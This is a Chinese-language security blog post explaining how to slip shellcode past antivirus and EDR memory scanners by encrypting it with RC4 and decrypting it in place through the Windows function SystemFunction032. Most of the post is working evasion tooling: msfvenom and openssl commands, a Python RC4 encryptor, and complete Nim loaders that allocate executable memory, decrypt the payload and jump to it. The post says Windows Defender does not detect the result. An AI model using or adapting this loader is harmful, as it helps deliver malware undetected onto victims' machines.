声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。
虽然Benjamin Delphi在2013年就已经在Mimikatz中使用了它,但由于我之前对它的研究并不多,才有了下文。
这个函数能够通过RC4加密方式对内存区域进行加密/解密。例如,ReactOS项目的代码中显示,它需要一个指向RC4_Context结构的指针作为输入,以及一个指向加密密钥的指针。
不过,目前来看,除了XOR操作,至少我个人还不知道其他的针对内存区域加密/解密的替代函数。但是,你可能在其他研究员的博客中也读到过关于规避内存扫描器的文章,使用简单的XOR操作,攻击者即使是使用了较长的密钥,也会被AV/EDR供应商检测到。
虽然RC4算法被认为是不安全的,甚至多年来已经被各个安全厂商研究,但是它为我们提供了一个更好的内存规避的方式。如果我们直接使用AES,可能会更节省OpSec。但是一个简单的单一的Windows API是非常易于使用的。
通常情况下,如果你想在一个进程中执行Shellcode,你需要执行以下步骤。
1、打开一个到进程的句柄
2、在该进程中分配具有RW/RX或RWX权限的内存
3、将Shellcode写入该区域
4、(可选)将权限从RW改为RX,以便执行
5、以线程/APC/回调/其他方式执行Shellcode。
为了避免基于签名的检测,我们可以在执行前对我们的Shellcode进行加密并在运行时解密。
例如,对于AES解密,流程通常是这样的。
1、打开一个到进程的句柄
2、用RW/RX或RWX的权限在该进程中分配内存
3、解密Shellcode,这样我们就可以将shellcode的明文写入内存中
4、将Shellcode写入分配的区域中
5、(可选)把执行的权限从RW改为RX
6、以线程/APC/回调/其他方式执行Shellcode
在这种情况下,Shellcode本身在写入内存时可能会被发现,例如被用户区的钩子程序发现,因为我们需要把指向明文Shellcode的指针传递给WriteProcessMemory或NtWriteVirtualMemory。
XOR的使用可以很好的避免这一点,因为我们还可以在将加密的值写入内存后XOR解密内存区域。简单来讲就像这样。
1、为进程打开一个句柄
2、在该进程中以RW/RX或RWX的权限分配内存
3、将Shellcode写入分配的区域中
4、XOR解密Shellcode的内存区域
5、(可选)把执行的权限从RW改为RX
6、以线程/APC/回调/其他方式执行Shellcode。
但是XOR操作很容易被发现。所以我们尽可能不去使用这种方式。
这里有一个很好的替代方案,我们可以利用SystemFunction032来解密Shellcode,然后将其写入内存中。
首先,我们需要生成Shellcode,然后使用OpenSSL对它进行RC4加密。因此,我们可以使用msfvenom来生成。
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
cat calc.bin | openssl enc -rc4 -nosalt -k "aaaaaaaaaaaaaaaa" > enccalc.bin
但后来在调试时发现,SystemFunction032的加密/解密方式与OpenSSL/RC4不同。所以我们不能这样做。
最终修改为
openssl enc -rc4 -in calc.bin -K `echo -n 'aaaaaaaaaaaaaaaa' | xxd -p` -nosalt > enccalc.bin
我们也可以使用下面的Nim代码来获得一个加密的Shellcode blob(仅Windows操作系统)。
import winim
import winim/lean
# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
const encstring = slurp"calc.bin"func toByteSeq*(str: string): seq[byte] {.inline.} =
## Converts a string to the corresponding byte sequence.
@(str.toOpenArrayByte(0, str.high))
proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS
{.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}
# This is the mentioned RC4 struct
type
USTRING* = object
Length*: DWORD
MaximumLength*: DWORD
Buffer*: PVOID
var keyString: USTRING
var imgString: USTRING
# Our encryption Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16
var shellcode = toByteSeq(encstring)
var size = len(shellcode)
#
We need to still get the Shellcode to memory to encrypt it with SystemFunction032
let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
echo "Process Handle: ", repr(pHandle)
let rPtr = VirtualAllocEx(
pHandle,
NULL,
cast[SIZE_T](size),
MEM_COMMIT,
PAGE_READ_WRITE
)
copyMem(rPtr, addr shellcode[0], size)
# Fill the RC4 struct
imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)
# Call SystemFunction032
SystemFunction032(&imgString, &keyString)
copyMem(addr shellcode[0],rPtr ,size)
echo "Writing encrypted shellcode to dec.bin"
writeFile("enc.bin", shellcode)
# enc.bin contains our encrypted Shellcode
之后,又写出了一个简单的Python脚本,用Python脚本简化了加密的过程。
#!/usr/bin/env python3from typing import Iterator
from base64 import b64encode
# Stolen from: https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071
def key_scheduling(key: bytes) -> list:
sched = [i for i in range(0, 256)]
i = 0
for j in range(0, 256):
i = (i + sched[j] + key[j % len(key)]) % 256
tmp = sched[j]
sched[j] = sched[i]
sched[i] = tmp
return sched
def stream_generation(sched: list[int]) -> Iterator[bytes]:
i, j = 0, 0
while True:
i = (1 + i) % 256
j = (sched[i] + j) % 256
tmp = sched[j]
sched[j] = sched[i]
sched[i] = tmp
yield sched[(sched[i] + sched[j]) % 256]
def encrypt(plaintext: bytes, key: bytes) -> bytes:
sched = key_scheduling(key)
key_stream = stream_generation(sched)
ciphertext = b''
for char in plaintext:
enc = char ^ next(key_stream)
ciphertext += bytes([enc])
return ciphertext
if __name__ == '__main__':
# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
with open('calc.bin', 'rb') as f:
result = encrypt(plaintext=f.read(), key=b'aaaaaaaaaaaaaaaa')
print(b64encode(result).decode())
为了执行这个shellcode,我们可以简单地使用以下Nim代码。
import winim
import winim/lean
# (OPTIONAL) do some Environmental Keying stuff
# Encrypted with the previous code
# Embed the encrypted Shellcode on compile time as string
const encstring = slurp"enc.bin"func toByteSeq*(str: string): seq[byte] {.inline.} =
## Converts a string to the corresponding byte sequence.
@(str.toOpenArrayByte(0, str.high))
proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS
{.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}
type
USTRING* = object
Length*: DWORD
MaximumLength*: DWORD
Buffer*: PVOID
var keyString: USTRING
var imgString: USTRING
# Same Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16
var shellcode = toByteSeq(encstring)
var size = len(shellcode)
let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
let rPtr = VirtualAllocEx(
pHandle,
NULL,
cast[SIZE_T](size),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
copyMem(rPtr, addr shellcode[0], size)
imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)
# Decrypt memory region with SystemFunction032
SystemFunction032(&imgString, &keyString)
# (OPTIONAL) we could Sleep here with a custom Sleep function to avoid memory Scans
# Directly call the Shellcode instead of using a Thread/APC/Callback/whatever
let f = cast[proc(){.nimcall.}](rPtr)
f()
最终效果,至少windows defender不会报毒。
通过使用这个方法,我们几乎可以忽略用户区的钩子程序,因为我们的明文Shellcode从未被传递给任何函数(只有SystemFunction032本身)。当然,所有这些供应商都可以通过钩住Advapi32/SystemFunction032来检测我们。
之后我想到了一个更加完美的想法。通过使用PIC-Code,我们也可以省去我的PoC中所使用的其他Win32函数。因为在编写PIC-Code时,所有的代码都已经被包含在了.text部分,而这个部分通常默认有RX权限,这在很多情况下是已经足够了。所以我们不需要改变内存权限,也不需要把Shellcode写到内存中。
简单来讲是以下这种情况:
1、调用SystemFunction032来解密Shellcode
2、直接调用它
例如,PIC-Code的样本代码可以在这里找到。对于Nim语言来说,之前发布了一个库,它也能让我们相对容易地编写PIC代码,叫做Bitmancer。
征集原创技术文章中,欢迎投递
投稿邮箱:[email protected]
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。